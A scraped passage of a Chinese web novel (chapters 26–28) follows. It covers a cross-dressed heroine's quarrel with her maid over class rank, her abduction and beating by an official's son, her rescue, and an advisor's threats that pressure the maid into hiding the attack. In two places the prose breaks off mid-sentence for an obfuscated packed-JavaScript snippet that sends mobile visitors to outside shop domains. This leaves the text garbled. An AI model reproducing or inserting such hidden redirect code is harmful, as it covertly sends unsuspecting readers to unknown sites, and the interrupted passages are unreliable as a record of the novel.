“方姑娘,既然文晓是殿下派来照顾你的生活起居,那有些东西想必我还是有资格对姑娘说上一说。”文晓语气严肃了起来,让方绾宁有点不适应。 “嗯,你说吧,我是不是哪里没做好?” “殿下让方姑娘扮作男子,就是为了让姑娘方便行事,可姑娘今日对闻霜的态度实在是不妥。” “如何不妥?” “没有主子会和婢子并肩而行,也没有主子会喂婢子吃东西,更不会有主子给婢子戴发簪。”说着竟然又将簪子脱下来还给她。 方绾宁拿过响铃簪又插回她的发间,“可我并不是你们的主子,也从不把谁当作奴婢。我们是一样的人,文晓姐姐,你想和我说什么?” 文晓只好作罢,继续说:“文晓能知分寸,但闻霜不能,今晚方姑娘的举动已经是给了她莫大的暗示,方姑娘你仔细想想,一个男子为女子簪发是什么行为?况且方姑娘待人宽和,动作亲昵,会给不知深浅的婢子逾矩之心。” 话说到此处,方绾宁还不明白嘛?她惊觉意识到自己似乎确实犯了一个大错误,平时对待赋思文晓胡闹也就罢了,毕竟她们知道自己也是女子,但闻霜可不一样,被今晚方绾宁的一系列举动撩拨,没准儿现在闻霜正做着少女情怀的美梦。 方绾宁拍了一把自己的额头,“是啊,我这个猪脑子。忘了自己在外面应该是个男人了。” 见方绾宁终于意识到了问题,文晓也不便多说了,“既然方姑娘已经找到问题所在了,那请方姑娘出门在外一定要谨记如今的身份,不符合身份的动作,神态一定不能出现。” “好,好,我一定记得。”方绾宁对着文晓发誓。 “那就请方姑娘继续给殿下回信吧,文晓先下去为你准备些茶水。”文晓福了福身子,告退了。走到门边,又想起什么,转头对着方绾宁说:“方姑娘,也要时刻记得自己女子的身份,不要和除了王爷之外的男人走得太近。”文晓以为她能懂,说完之后便关上了房门走远了。 啊? 方绾宁一头雾水,这句话咋就没懂?什么意思?我还有什么身份? 26.绳墨 第二十六章 第二天一早,闻霜便接到了方绾宁交代的差事。 彼时方绾宁在窗边练字,闻霜戴着昨夜她送与自己的红珊瑚步摇,款款停在跟前,瞥见书案前正一丝不苟描字帖的小公子,院外的风穿堂而过,晃得公子鬓边的头发荡荡悠悠,步摇上的垂珠也迎风摆动,遥相呼应。 “方执事。”闻霜出声叫道。 方绾宁像是才回过神,抬眼瞧见了她,停了手里的笔,微微一笑对她说:“闻霜姑娘。今日有一事恐怕要拜托你。” “执事何须客气,有事交代闻霜即可。”眉眼舒展,面露风情。 方绾宁昨晚想通了事儿,如今看着闻霜对着自己挤眉弄眼,心里有点怪不自在的,她清了清嗓子,“是这样的,昨天我不是在如辉订购了几盒糕点嘛,今天如果店家送到了,麻烦你将其中一盒送去东院给郁见深郁先生,郁先生整天公务繁忙,时常见不到人,但我家王爷敬重他,我也得以礼相待,所以还请闻霜姑娘务必亲手交到郁先生手中,还要转告他,公事再忙也要多注意休息。” 闻霜听着方绾宁的声音又脆又远,心里美滋滋的,连忙应了下来,“执事交代的事,闻霜一定办妥。” “嗯,那你先下去吧,我过会儿也要出发去水沽了。”方绾宁将练习的纸张拎起来吹干墨水,斜眼看见闻霜走到了门边,心念一转又觉得不忍,便出声叫住了她,“闻霜姑娘,如辉的糕点你也带一盒去尝尝吧。” 闻霜一瞬绽开了笑意,脸上染了红晕,羞羞颔首回答:“多谢方执事。” 文晓和刚走出房门的闻霜擦肩而过,瞧见她的耳朵跟发上的红珊瑚簪子一个颜色,忙走近前问方绾宁,“方姑娘,刚才可是对着闻霜说了些什么?” 方绾宁略微思索,“没有啊,就是昨晚我和姐姐你说的那个计策,刚才交代给闻霜了。” “没做什么其他事儿?” “没有吧。”方绾宁将写好的字帖放在一旁的小匣子里,“临走前,送她一盒糕点算吗?” 文晓蹙眉,“方姑娘,以后可千万不能做这些多余的事儿了。” “多余的事?”方绾宁疑惑不解。 “闻霜是什么身份?不过是邓大人临时指派过来伺候的奴婢,如今受了您的千万般好,今后她再回主家该如何自处?”文晓比之方绾宁就大三岁,但此时说话老成,语重心长,“东洲的世家门阀林立,虽然算不上对婢子奴役严苛,但若家中奴仆生了二心,轻则逐出府去,重则打板子发卖。方姑娘,你以前不知道这些,今后文晓会时刻提醒你,注意身份和仪态。主子就是主子,婢子就是婢子,不能逾规越矩。” 听了文晓一番话,方绾宁心里像是有着一团解不开的乱麻,她茫然费解,“只是一盒糕点罢了,你为何又说这番话?什么身份?你满口主子奴婢,难道也希望我用那副高高在上的姿态对你嘛?” 文晓神情郑重,眉目间又含着三分心痛,“姑娘对我,我们都是极好的,但尊卑有序不可废,主子待我们好是主子大德,但作为奴婢更要守分寸,知贵贱,不敢伤主子体面。” 方绾宁听后霎时间便动了气,“文晓姐姐,明明昨晚我们还一起玩闹,你今日这般,难道也是在提醒我,我其实不过是一个小乡村来的孤女,受了他俞修衡的荫庇,就该遵循他王府的规矩!” 文晓跪倒,“文晓绝无此意。” “你起来,不用跪我!”方绾宁看着面前的文晓,怒火中烧,“我就知道封建王朝的规则与礼法不是写在书上,而是刻在你们骨子里的!你们被绳墨圈了形状,就以为谁人都是如此嘛?这什么劳什子规矩,我偏不遵从它!” “方姑娘慎言!”文晓跪在地上请罪,“是文晓说错了话,方姑娘恕罪。” “你起来!”方绾宁不由自主的大声说道。 可文晓跪得规规矩矩,半点没有起身的意思,“是文晓犯了过错,请方姑娘责罚。” 方绾宁无言以对,瘫坐在椅子里任心里的愁绪在肚子里打结。 她似乎没办法好好处理现在这种事,尽管她极力的想平等对待每一个人,但如今的情况却是,自己沾了俞修衡的光,成了这个封建礼制的既得利益者,做什么都好像没有了立场。 良久,方绾宁呼出一口郁气,像是终于想通了一般,起身过去将文晓扶起来,语气又恢复到往日的平和,无奈的看着文晓,说:“你没有犯错,也别自责,我以后会注意自己的言行举止,文晓姐姐别忧心了。” 文晓重新挂上笑脸,但方绾宁却看到了一丝苦意,“方姑娘聪慧,定能办到。” 方绾宁咧嘴朝她一笑,却也在心里自嘲。 你是你,我是我,你们是你们,我却只会是我。 闻霜早在隅中时刻就收到了如辉送来的点心盒子,却直到酉时方才见到郁见深。 闻霜将点心放在桌上,语气矜持的对他说,“郁先生,奴婢奉方执事的令,前来给您送些点心,方执事还特意叮嘱郁先生公事虽忙,但要多注意休息。”说完闻霜弯腰行礼,就要离开,却被郁见深叫住,“等等。” 闻霜停住了脚步,扭动身子的时候发间的步摇在空气中甩出红色的暗影,十分夺目。 “为何之前从没在兰苑见过你?”郁见深问。 “回郁先生,奴婢是三天前我家老爷派遣来专门伺候方执事的。” “你家老爷?”郁见深顿了顿,“邓行闻?” 闻霜点头,“是。” 郁见深皱眉,并未多言,“那你先下去吧。” 闻霜依言便离开了东院,回到方执事身边等候下一次见面,她摸着头上晃荡的步摇,娇艳的脸上浮现羞人的笑意。 月亮占据天空的时候,邓行闻急匆匆的入了兰苑。 “兄长,你找我?”邓行闻一路急行过来,还微微喘着气。 “嗯。”郁见深正在案头忙碌,头也不抬,“把你的人带回去。” “人?什么人?”邓行闻疑惑。 “几天前你拨到方姑娘身边的婢女。”郁见深提醒他。 邓行闻恍然大悟,“你说的是她啊,怎么了,奴婢伺候的不得力嘛?” “得力?你还想她怎么得力?去给方姑娘宽衣嘛?”郁见深停下手中的笔,提高了声音对邓行闻说:“都说过了方姑娘的身份只有我们王府的人和你知道,你如今派了一个乱七八糟的人进来,是何考量?” “哎呀,忘了,忘了,那天回府光想着方姑娘是王爷的人,必得尽心照顾,差点酿成大错,”邓行闻猛的醒悟过来,“我一会儿就把她带走。” “嗯。”郁见深淡淡的应了一声,又低头下去写公文。 邓行闻走上前去,停到不远不近的地方,“兄长近日水沽的事儿可还进展顺利?” “刚起头,没什么顺利不顺利的。”执笔的手缓了一缓,“水沽西边的那几片水塘里,在建的船是军中的人要?” 邓行闻闻言眉头一挑,“什么事都瞒不过兄长。” “动静太大了,让他们小声些,生怕你的官位太稳当,没人写你的奏折?”郁见深神色严肃的问了他一句,“像那种类型的官船都是余杭的泾潍在造,你收了多少银子让你冒此风险?” “一个没办法拒绝的数目啊。”邓行闻坐在一旁的圈椅上,端着茶杯感叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14601388|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 郁见深没再多问,只是提醒他,“那就小心点,有些眼睛藏得深,还想要你的乌纱,面上就得干净。” 邓行闻得意一笑,“多谢兄长担忧,那今晚我就不叨扰了,这就离开。” “去吧” 邓行闻在兰苑门前等了一会儿闻霜,见人从里面出来了,便翻身上了马。 “老爷。”闻霜上前行礼。 “嗯,这里不用你伺候了,还是回夫人身边吧。”邓行闻坐在马上说。 闻霜惊恐,“是闻霜犯了什么错?” 邓行闻没耐心和一个婢女解释那么多,冷声道,“你问题还挺多,照做便是。” 见此,闻霜也不敢顶嘴,无奈颔首低头,“是。” 说完邓行闻便驾马而去,留下闻霜在院前不知所措。 想回兰苑却被门口守卫拦着不让进了,看着空荡荡的大街,闻霜心如冰窖,只好映着路边微弱的灯笼光,快步回了邓府。还好还有发上的步摇,她心里念着,想着以后定还有机会和方执事见面。 方绾宁就这样将闻霜送回了邓府,日子和往常一样并没有什么变化,她还是隔三差五的去水沽转悠,张渠现在吃住都在水沽了,和那些老船工打成了一片,战船已经开始搭建了基础架构,每次方绾宁一去就被木刨子的声音占据了整个耳朵。 而且如今天气炎热,船坞的船工们有时候干活还裸露着上身,方绾宁倒觉得没什么,可文晓见了一次后,便死活也不让自己去了,方绾宁自是不从的,但不知道她对郁先生或者是谁说了什么,下次方绾宁再去的时候,每个船工不管多燥热都将衣服穿的严严实实。 方绾宁哑然,之后便很长一段时间都没去工坊看战船了,就算去了水沽也是待在管理处看图纸。 时间长了也觉得无聊,方绾宁便开始留恋戏楼。 方绾宁第一次踏进戏楼的时候,俞修衡才收到了她的第一封回信。 他捏着信封,厚厚的一沓,心里不禁笑开了花。急忙将信拆开了看:小川,安好,晋照果然比青州热闹好多,很开心,你说的点心我也尝了,给你带了一盒,我嘱咐他们用冰袋保鲜,你收到的时候味道可能有些变了吧,我这里也下了大雨,不知道和你看的是不是同一场。 就这样几个字,她居然用了十页纸,俞修衡摇头失笑,翻到倒数第二页,上面写着方绾宁三个大字,瞧着比之前的端正许多,想必有在刻苦练习。 翻到最后一页:小川,你的印章好酷,我也想要。 关珏在一旁看着殿下,对着方姑娘的回信笑了起码一盏茶的功夫,临了终于不笑了,将信纸整齐收好放进匣子里,对着那早已经在路上颠散了的糕点伸出手去,捏了一块放进嘴里。 “那传信的卫兵已经罚了十杖。”关珏出声,见俞修衡并未表态又问:“王爷,现在要看文晓姑娘的信嘛?” 俞修衡将变了味道的糕点还是咽了下去,“嗯,拿来吧。” …… 青州的气候干燥,夏季再多的雨水也拦不住空气里那股苦涩的味道。 俞修衡自方绾宁走后便开始在城内外征兵,但收效甚微,青壮年的流失让青州垂垂老矣,最后就算扩大范围,也只有寥寥九百人。 俞修衡虽忧心但也暂时没了办法,只好将这批先遣队率先拎到了军营开始了训练。 为了抗击海寇,从应京带来的亲兵们也一起参加了,青州的兵几乎全部都会水,而应京的却恰恰相反,两方相比较,训练过程居然出奇的和谐。 日子好似就这样没有吵闹和喧哗般过了下去,青州的海面平平静静,更汹涌的风暴正在更远的海面聚集。 27.痛楚 第二十七章 这个月是张渠第三次在戏楼找到方绾宁了。 此刻她正坐在二楼磕着瓜子,喝着茶,聚精会神地盯着台下的说书人。悠然自得的模样让张渠心里怒火中烧。水沽里的战船正等着她拿主意呢,她居然还能在这儿清闲的吃茶。 “方执事。”张渠走了过去站在桌前,突然出声叫她。 方绾宁惊得一激灵,茶水差点呛到喉咙,“咳咳……怎么了,小张大人。” “战船最近在凿龙骨了,你不去水沽在这儿听书?”张渠皱眉质问她。 “细节不是前两天就敲定了嘛?你们是遇到什么事儿了吧,直接说呗。”方绾宁最清楚张渠的德行了,有事不说事,非要噎人一把。 张渠像是被猜中了心思,声音放低,“战船的体积太大,找不到合适的木料做船头那块儿的弧形船头柱。你上次不是说那块不能拼接嘛,那如今咋办,木头去哪儿找那么合适的形状。“ “就这?”方绾宁抬眉看他,“就不能将思维打打开?” 张渠眼角不自觉向下,“你就直接说吧,现在哪儿那么多时间去研究试验啊。” “我直接说了,你们就老是这样想坐享其成,问题就会永远是问题。”楼下的说书人正说到高潮部分,全场掌声雷动,方绾宁没听到刚才的故事,有些懊恼。又见面前的张渠脸色泛青,便也不逗他了,“直木头能找到吧,用高温蒸汽烤一下就能随意弯曲成你们想要的形状了。这么大人了,竹篾没见过编还没见过用?” 方绾宁发现只要她待在水沽,什么事儿都得她去拿主意,很多工匠的巧思都会被掩盖,有些明明顺应时代的发展而顺理成章的事情,偏偏通过方绾宁的嘴,逐渐出现在了这个时代,她有些反感,渐渐减少了去水沽的次数。 张渠得了回答便也不再搭理她了,随即就跑下了楼,也没顾得上回嘴方绾宁的冷嘲热讽。一路小跑到楼下,还不忘道谢,扯着嗓门大声喊道:“谢谢啊,方执事!” 方绾宁回了个微笑,便又继续听书了。 恰好这声方执事被正上楼的邓维听见了,他顺着声音看见了二楼雅座旁的方绾宁。嘴角一撇,面色微沉。 可算遇着你了。 他母亲身边的闻霜,自从被父亲拨去伺候了一个人之后,回来就老是神不守舍,邓维早有意将她收房,之前本也好好的,近来却不让自己碰了,还老躲着他,几经打听,终于探听到了原来是去伺候了一个王府参知执事。 就三天,闻霜就被这叫方宁的,勾得心魂都不在了。今日既然那么巧碰见了,那正好去会会他。邓维大步走上前,想去教训一番这个不识好歹的东西,走到二楼拐角,却见那方宁身边还跟着两人,一男一女,男的带着刀,身形挺拔,看姿势像是练家子。 前些日才被父亲警告过不准再闹事,邓维停在原地琢磨了片刻,附耳在一旁的随从吩咐了几句,便转身下了楼。 上一场的故事没听到结局,实在是让方绾宁郁闷。准备再听一场,谁知这说书先生却是讲起了前几日的旧故事,顿时便没了兴致。 “走吧,回兰苑,今天没新故事听咯。”方绾宁将手里的瓜子丢回盘里,起身下楼。 三人走到戏楼门口,被对面街头传出的打砸声吸引了目光。 方绾宁驻足听了会儿,发现是几个大汉正在殴打一个十一二岁的小孩子,似乎是偷了东西,那群打手下手真狠,从方绾宁这个角度看过去,都能看见地面淌着血,她紧紧抿着唇,眼底浮现一片冷意,对王霄说:“王霄,你去看看那边什么情况,叫他们别打了,有什么损失,你赔了便是。” 王霄抱着刀回答:“是,方执事。” 就在王霄走过街道去拦下那些打手的拳头时,一辆马车从街上经过,刚巧遮住了方绾宁的视线,她正想垫脚去看对面街上的情况时,突然脖颈一痛,瞬间便失去了意识。 王霄拿出些碎银子,都没动手,就摆平了这件事。正当他回头看向对面戏楼下的方绾宁,谁知却失去了踪影,他连忙跑过去,只发现了倒在一旁的文晓。 此刻王霄心急如焚,慌忙扫视起周围的街道,始终没发现半点蹊跷之处,他掐着文晓的人中,晃着她的肩,“文晓,文晓!” 文晓悠悠转醒,吐出一句,“方姑娘……马车……救……”又晕倒了过去。 此事不敢耽搁,王霄匆匆带文晓回了兰苑,想和郁先生禀明情况。 但意料之中,郁先生并不在兰苑。 王霄便先做主,带着一队人出门准备寻找方绾宁时,刚巧碰见郁先生正在院前下了马车。 郁见深见王霄带着一队人,面露询问之色。 王霄上前,“郁先生,方执事不见了。” 还没等郁见深表态,马车上探出一个头,是邓行闻,“什么?方姑娘丢了?快找啊,找!“ 方绾宁被一盆冷水泼醒,还没来得及打量自己身处何地,脖子后面传来的巨痛就让她眼前一阵一阵的黑。再也不敢质疑以前在电视剧里看到的类似情节了,怎么会有人一记手刀就能晕倒的? 如今体验到了之后,啧啧,是真的好痛,她还想再晕一会儿。 方绾宁没能如愿,身子还软着就被人一路拖行到了一把椅子跟前,方绾宁费力的睁开眼便瞧见一双鹿皮的靴子,但下一秒这皮靴就踩在了自己肩上。 别拿那么近,别拿那么近,我只想看看,没想闻。方绾宁在心里吐槽,瘦小的身子被身后两个大汉钳制,那支脚踏在她肩上硌得她生疼。 一双手捏着她的下巴迫使她抬头,“你就是方宁?小倌模样还想和小爷我抢女人?” “啪。”一巴掌扇在方绾宁的脸上,火辣辣的疼,让她刚清醒过来的脑子瞬间又嗡了一声。 她被打得侧过了身,身后两个大汉又将她的身子掰正,方绾宁忍下了心口胀开的酸楚,开口,“你是谁?你就不怕你抓错人了?” “那你不是方宁?”那人询问。 “……我是。” “啪。”一个巴掌再次落在她脸上“那小爷我就没打错你!”接着又是一脚踢在方绾宁的肚子上。 方绾宁被这一脚踢得眼冒金星,心肺欲裂,“啊……”她痛叫出声。 这是她上下两辈子第一次遭受这样的痛苦,实实在在的落在肉身上的疼痛,她眼角已经渗出了生理性泪水,尽管她心里也是想哭得不行,身上带来的疼痛让她又委屈又愤恨,盯着眼前之人想再走近的脚步,方绾宁大喘了几口气,压下身体上的剧痛,艰难开口,“别……再过来了……你说我抢你女人?可我……根本不认识你,何况……何况还是你的女人呢。” 那人走近,蹲下拽起她的衣领,目光盯着方绾宁含着泪,盛着恐惧的双眸,心情似乎变好了一点,“就大半月没见?你就不记得了?伺候了你三天,回来就不让我碰了,小小年纪,戏耍女人的本事倒是深得很。” 方绾宁这才明白了过来,“原来是闻霜吗?” “看来你还记得!”那人作势一巴掌又要落了下来。 “邓维!”方绾宁情急之下,喊出了他的名字。 邓维停了手,“你知道小爷我?” 暂时躲过一劫的方绾宁,心里暗暗松了一口气,但身子还是很痛,再被他这样打下去,不知道这副身子能挨几巴掌,方绾宁将现在的处境在脑子里迅速整理了一番,喘息着继续说道:“淮南观察使的小公子吧,你哥哥邓绎如今正在应京的书院备考,只有小公子还留在晋照了。” “消息还算灵通,不过就算今日被你认出了身份,你也逃不了这顿打。”他重新坐回椅子上。 方绾宁并不想在这种时候暴露自己女子的身份,她刚才环视了一周,发现光是屋里就站着六个高大的男人,不远处的门外还守着人,她只好忍痛开口,“我和闻霜仅半面之交,并不是你想的那种关系。” “还狡辩是吧。”邓维举起手扬了下,吓得方绾宁立马闭上了眼睛将身子缩作一团,这滑稽的行为落到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612473|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邓维眼里,嗤笑出声,“哼,孬种。闻霜前几月就答应了我,等我娶了妻,就抬她去做小,谁知从你那回来之后没几天就回拒了我,整天求着我母亲早日放了她的身契出府,左右打听下来,原来才知道是因为你这么个小白脸。” 方绾宁瘫在地上,没想到那些随意的举动给自己遭致这种无厘头的祸患。她抬起头看向邓维,“闻霜在我身边待了三天就拒绝了你,邓维,可见她根本就不喜欢你,既然她要出府,你就该随了她的心愿。我可是渊王府的参知执事,你这样蓄意殴打我,你就不怕你爹怪罪下来嘛?” “哼,参知执事?七品小官也敢在这叫嚣?你没认出我来,我还能把打你一顿扔出去,现在既然认出来了,你还以为你能活着去告状?” 方绾宁惊恐,“你这样草菅人命不怕官府?不怕东洲的律法嘛!” “官府?律法?你不是都知道我的身份了嘛,还说出这种笑死人的话。”邓维眼里闪出凶恶的光,“来人,打一顿扔满河吧。” 周围的大汉上前,挽着袖子就要出手。 方绾宁身子不由自主的颤栗,绑住的双手在身后用力想挣开绳子,白皙的手腕上霎时间就现了红痕,渗出丝丝血迹,她大吼:“邓维,我家殿下可是东洲五皇子,我是他最亲近的人!我身上挂着的玉佩是他新手所赐,你敢!你敢!” “等等。”邓维抬手出声。 见周围的人撒了开去,方绾宁松了一口气,眼泪在眶里转了一圈,滚下了面颊。 邓维走上前来,蹲在方绾宁跟前,眼睛落在她腰间的玉佩,盯了一会儿就用力扯了下来。 邓维将那块螭吻玉佩正反两面都再三看了看,摩挲着边角那枚衡字,讽刺地笑,“呵呵……五皇子是吧?就是那个在应京过得不如狗的五皇子?”邓维拿着那块玉佩反复砸在方绾宁脸上,“吓唬我呢?去年我随我哥去了京城看那流景河上的花魁大赛,最后虽然画舫起火没尽兴,但那五皇子我可是瞧见过的,就在那火光凛凛的河里,扑腾了大半盏茶的功夫才有人下去救他。你说你是那落水狗最亲近的人?哈哈,真是怪不得,有那么个狗主子,才有你这个狗奴才啊。” 那可是天子脚下的应京城,能被如此对待的皇子有什么好怕的。 邓维站起身,忽略掉方绾宁眼睛里的错愕,将玉佩扔在她身上,回身坐到椅子里,语气懒懒的向周围人下令,“动手吧。” 屋里的大汉得了吩咐,重新向那个纤薄的身影围拢了去。 方绾宁这次没再叫喊,她用嘴叼回了那块落在身上的玉佩,眼角的泪止也止不住,不知道在哭谁。 门外传来响动,屋内的人都纷纷朝门口望去,只见守在门口那俩兄弟的身影随着一声惨叫倒了下去,他们还没来得及抄家伙,房门便被一脚踹开,数十人持刀冲了进来。 王霄一破门便瞧见了那倒在地上的身影,方姑娘早上出门时那一身云峰白的衣裳,如今已脏污不堪。他横眉,他将手中的刀剑握紧,冲了进去将那几个大汉三俩下打倒,身后的亲兵忙上前麻利的将他们捆作一团。 邓维被这突如其来的变故惊得晃了神,连忙站起来,大声道:“你们是何人?敢管小爷的事儿,你知不知道我爹是谁!我爹可是……” “闭嘴吧,逆子!”门外,随后赶来的邓行闻厉声喝止了他。 “爹。”邓维一见是自己亲爹,吓得双腿打颤。 邓行闻走了进去,给了他一巴掌,“你可知你闯下什么祸事!“接着也没管身后郁见深的脸色,掐着邓维的脖子立马将他带离了屋子。 王霄皱眉望向门口的郁见深,他站在一片逆着的光影里,分不清神情。 “先带方执事回去吧。”郁见深说。 王霄得了命令,将方绾宁手上的绳索解了开,一把从地上抱起,在手里颠了一下时,怀里的女孩儿发出了“嘶~”一声嘤咛。 “王霄,轻一点。”方绾宁哑着嗓子,手里拿着玉佩,滚烫的泪珠滴在了他的臂弯里。 28.棋子 第二十八章 “兄长,我儿……”邓行闻尴尬开口,“我昨日回去已经狠狠将他打了一顿,他不知道方姑娘的身份,实在是误会啊,误会。” “听闻你的大公子邓绎在桐平书院倒是受到许多大儒的嘉许。”郁见深端坐在桌前,语气平淡,突然听他提起自己的大儿子,让邓行闻摸不准心思,一时不知道该如何接话。 郁见深又说:“他今后肯定是要入仕的吧,正巧,我与桐平书院常去授课的曾庆姚曾学士是棋友,关系还算不错。”他抿了口茶,忽然盯着邓行闻道:“你知道学子得了个不重师长的批语是什么后果吧?” “兄长,别!”邓行闻此刻心如芒刺,“都是小儿的错,与我的大郎无关啊。” “青州临行前,殿下特意交代我要好好保护方姑娘,我当时应了,说要将方姑娘护得损伤不了一根头发,不仅如此,殿下还将随身的螭吻玉佩送与方姑娘,那块玉佩你也见过,你知道意味着什么,但邓维……好似并不放在眼里,你说如今我该怎么向殿下交代?” 手中的热茶还冒着气,薄薄的水雾氤氲在郁见深的眼眸中让气氛变得肃然,郁见深加重语气,“再者,方姑娘可不是个待在内宅只知道绣花玩耍的女子,她为东洲,为青州,前几天不也还为你带来了不菲的益处嘛?于公于理,邓维我都不该放过他,要是依照东洲的律法或是殿下的脾气,那邓维应该斩其右臂,流徙三千里。昨天我让你当场接走了他,已是看在咱俩之前的情分了。” 郁见深将手中的茶杯用力往桌上一掷,“邓行闻,你教子无方啊。” 邓行闻听后,身子忍不住一颤,屋外明明还下着雨,一室清凉的房内,他的额上还是大汗淋漓,“那我……我儿,兄长,我如今该怎么办?我那小儿子是顽劣不堪,但我母亲实在是喜欢得厉害,如果真要看着我将他交出来认罪伏法,怕是当场就要……就要吐血归天啊!” 邓行闻此时心似一团泥潭,凳子也坐不住了,跪行过去摇晃郁见深的衣袖,“兄长,不可将我儿定罪啊,不可!”他神色如火燎,脑子被激得开始发晕,“那方宁不过就是个女子,如何值得我儿伏法?让我儿过去磕头谢罪,或是我也愿赔偿她万两金,总有法子让殿下消气!” 郁见深见他此模样,摇头叹气,“邓行闻,你怎还是和幼时一样愚蠢。” 邓行闻不敢出声,他知道他这个兄长尽管如今只是个白身,但能从当年那件事里脱身而出的都不是一般的本事,今朝盘桓在五皇子麾下,定有底牌,郁见深的能耐他从小看到大,他岂敢在他面前饶舌。 郁见深将杯里的茶水斟满,尽数倒在了邓行闻头上,“罢了,这杯茶就当你替你儿子向方姑娘道歉了,至于殿下的怒气……那就替殿下办件事吧,弥补罪过。” 邓行闻生生受了那杯热茶,跪下拜谢,“是,定当遵从!” “那你附耳过来。” 孤雁声声断秋云,晓天寒霜,钟声渐晚。 梦魂难凝前世情,今岁唯有堪堪明月照人心。 此时的方绾宁可能还不曾意识到,她已经在谁的棋盘上被摆在了最关键的位置。 救回方绾宁的第二天,晋照就下雨了。 节气已是过了处暑,如今下下来的每一场雨都会带走一丝热度,雨水落在那些老旧的屋檐和瓦片上,叮叮当当的好不热闹,地上蒸腾的水汽飘进屋内,让方绾宁闻到了腥臭的泥土的味道,她向文晓形容这种气息:像是谁家的坟被刨了,露出陈年的尸体,还被雨水冲的稀碎,那种恶心,腐朽的味道。 邓维的那一脚真狠,直接踢断了方绾宁的一根肋骨。大夫说她至少要在床上养上一个月才能下地,愁得方绾宁连如辉新出的点心都没吃几口。 “一个月?”方绾宁躺在床上惊呼,扯得前胸的伤生疼,“嘶……变相的要我命吧。” 文晓重新将她摁在床上,“方姑娘,你别动了,已是遭了大罪,如今便安分的养养吧。” “那水沽怎么办?张渠那呆子一遇到难题就以头抢地的。”她是担忧战船的交货期呀。 郁见深的声音从门外传来,“完不成他们也只有人头落地了。” “以性命相要挟可不是好计策,郁先生。”方绾宁躺在床上看他。 郁见深进了房,走到珠帘处便不动了,他抬眸望向里间面色苍白的方绾宁“这计策是不好,但有用就行。方姑娘身体如何?疼得厉害嘛?” 方绾宁语气淡淡,“还行,现在也不是很疼了。” “那邓维已经处置,方姑娘可以安心养伤,今后不会再发生类似的事。” “处置?如何处置的?” “让他付出了些相应的代价。”这句话让人听得不明就里,方绾宁还想再问。 郁见深接着又说:“方姑娘此后可要多注意些,别再做些多余的事,等伤养好后再出门吧,此后我会多派两个人跟着你。” “那王霄呢?”方绾宁问。之前王霄总守在屋前,今日却没看到他。 “王霄受了罚,伤养好后自然会回来。” “他为何受罚?” “让方姑娘遭此罪过,是他守卫不利,按王府的规矩,抽了他二十鞭。”郁见深神情平和,隔着帘子与方绾宁交谈。 卧在床上的身影在听到了这句话之后明显震了一下,他仿佛都能猜到她接下来会说什么话,郁见深心里准备好了答词。 等了片刻,却只等来了三个字,“知道了。” 郁见深嘴角扯出一个含义不明的笑,“那我便不打扰方姑娘休息了,告辞。”说完转身就离开了房间,顺便叫走了文晓。 院子里的雨还在下,郁见深和文晓停在西侧的游廊,郁见深转身对文晓说:“文晓,方姑娘遇袭这件事就不必告诉殿下了,我已经处理妥当。” 文晓颔首向郁见深福了一礼,抬起头毫不犹豫的拒绝了他,“郁先生,王爷临行前就交代过,方姑娘的一切事情需得详细如实向他汇报,这件事我也会记录在下一次回给王爷的信件上,恕文晓不能答应郁先生。” 郁见深听见闻霜的回答,并不气恼,他嘴角的笑意反而越加深了,“嗯,钱管家将你们调教得很好。”他看向雨中一株被雨水打得花瓣散落的海棠,“要是按照钱管家定下的那些手段,文晓,你现在应该在跪钉板吧。” 文晓身体不着痕迹的抖了一下,复又直起身,“文晓犯错,自该受罚,但王爷交代下来的事儿却不可不从。” “文晓你在应京还有一个弟弟吧?只是让你忘了汇报一些小事儿而已,别让自己断了亲缘,嗯?”郁见深缓缓吐出这句话,“殿下不会知道的,而且我敢保证方姑娘也不会在信里提及。” 文晓没再开口,雨水打湿了她的鞋面,湿冷的触感像是握紧了一块坚冰。 郁见深见她僵直的模样,心下已经了然,笑容又变得和善起来,“好了,去照顾方姑娘吧,就和以前一样。” 郁见深乘着风雨离开了方绾宁的小院,文晓站在游廊下看雨,半天没有进房门,她任由雨水沾湿她的衣裳,她的心仿佛被一根线绕住了。 她和赋思是同一批进的东宫伺候,那时候她们还小,只能在东宫做一些洒扫的粗活,每月勤恳,主子优待,日子也算好过。 那时候因为殿下秽乱后宫一事,处死了不少贴身宫人,幸而当时她和赋思并不起眼,没被牵连。之后殿下的舅舅,如今的镇国大将军江宣延,派了如今的钱管家进宫处理东宫的内务,才让她和赋思站在了殿下跟前。 钱管家驭下严苛,像打手板,跪铁链,鞭笞这类的惩罚她俩也挨过不少。钱管家经常一边盯着她们受罚一边教导她们:痛嘛?痛就对了,这样才不会在殿下面前想些不该想的,你们只是低贱的奴婢,能伺候殿下已经是天大的福气,别以为殿下和你们露出两个笑脸便觉得能一步登天了,守好自己的本分,遵从主子的旨意,主子让你们干什么就得干,就算是去火里捡石头,你们也不能有半个不乐意! 这些年她们一直做的很好,殿下比她们见过的任何妃嫔和王公们都要温柔和气。她和赋思也一直遵守本分,是在殿下身边待的最久的侍女。 她本不该违背殿下的命令,方姑娘是殿下重要的人,但今天郁先生的话让她颤栗,她不怕跪钉板,她怕没了归处,她弟弟是她这世上仅剩的亲人 